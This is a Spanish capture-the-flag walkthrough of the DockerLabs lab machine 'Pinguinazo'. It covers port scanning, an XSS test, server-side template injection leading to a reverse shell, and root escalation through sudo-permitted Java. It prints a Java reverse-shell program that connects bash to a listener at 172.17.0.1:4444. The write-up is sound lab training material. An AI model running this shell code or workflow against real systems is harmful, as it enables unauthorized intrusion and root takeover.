Información
- Máquina: Pinguinazo
- Plataforma: DockerLabs
- Creador: El Pingüino de Mario
- SO: Linux
-
Dificultad:
Facil
Configuración Entorno
Primeramente, como siempre para configurar las máquinas de DockerLabs, exportamos los ficheros auto_deploy.sh y en este caso pinguinazo.tar. Para ejecutarlo utilizamos el siguiente comando:
sudo bash auto_deploy.sh pinguinazo.tar

auto_deploy.sh: este archivo se encarga de desplegar la máquina mediante docker y, una vez presionamos ctrl+c pasa a un proceso de borrado, todo automático, sin necesidad de tener conocimientos de docker.
pinguinazo.tar: contiene todo el contenido de la máquina docker; es el corazón, donde está la máquina víctima.
Reconocimiento
Lo primero que realizamos es lanzar un ping contra la IP de la máquina para comprobar que tenemos conectividad.
ping -c 1 172.17.0.2

Podemos observar que el ttl es de 64, por tanto, como norma general podemos afirmas que se trata de una maquina linux. Una vez comprobada la conectividad, iniciaremos un escaneo con nmap, para detectar puertos abiertos y lo almacenaremos en un fichero llamado scan, con el siguiente comando:
nmap -p- --open -sV -sC -sS --min-rate=5000 -vvv -n -Pn 172.17.0.2 -oN scan
- -p- –> Busqueda de puertos abiertos
- –open –> Enumera los puertos abiertos
- -sS –> Es un modo de escaneo rápido
- -sC –> Que use un conjunto de scripts de reconocimiento
- -sV –> Que encuentre la versión del servicio abierto
- –min-rate=5000 –> Hace que el reconocimiento aun vaya más rápido mandando no menos de 5000 paquetes
- -n –> No hace resolución DNS
- -Pn –> No hace ping
-
-vvv –> Muestra en pantalla a medida que encuentra puertos (Verbose)
Vemos que tiene abierto el puerto 5000 (upnp?).
Explotación
Lo primero que observamos al acceder por el puerto 5000 es un formulario de registro.

Si lo rellenamos, vemos que nos muestra un saludo y el nombre que hemos introducido en el primer campo.

Trataremos de averiguar si es vulnerable a ejecución de html injection.

En el primer campo introducimos lo siguiente:
<script>alert("hackeado")</script>
Al enviarlo comprobamos que efectivamente es vulnerable.

Ahora comprobaremos si es vulnerable a SSTI (Server Side Template Injection), en el github de PayloadsAllTheThings encontramos exploit para este tipo de vulnerabilidad.

Nos muestra el siguiente mensaje:

Ahora intentaremos ponernos en escucha por el puerto 443 con netcat, y mediante un payload modificado del github de PayloadsAllTheThings, trataremos de ejecutar una reverse shell

Recibimos la conexión y vemos que somos es usuario pinguinazo ![]()

Ahora trataremos de realizar una escalada de privilegios para poder ser root.
Para ello, como siempre, lo primero que hacemos es revisar que comando puede ejecutar el usuario actual como sudo.

Vemos que podemos ejecutar java con privilegios de root, por tanto, podemos crear un fichero java con una revesrse shell (https://www.revshells.com/) que podremos ejecutar como root.
public class shell {
public static void main(String[] args) {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/172.17.0.1/4444 0>&1")
.redirectErrorStream(true);
try {
Process p = pb.start();
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Nos ponemos en escucha con netcat, esta vez por el puerto 4444 y ejecutamos como sudo el fichero java que hemos creado.
sudo java rev_shell.java

Y recibimos la reverse shell siendo el usuario root.

![]()
¡¡¡¡Así que, maquina pinguineada!!!! ![]()
![]()
Eliminación del entorno
Para borrar la máquina solo debemos ir a la consola donde lo desplegamos y presionar ctrl+c y eliminaría y borraría todo rastro de la máquina víctima en nuestro sistema LINUX.

¡¡¡Espero que os haya gustado y nos vemos en la próxima!!!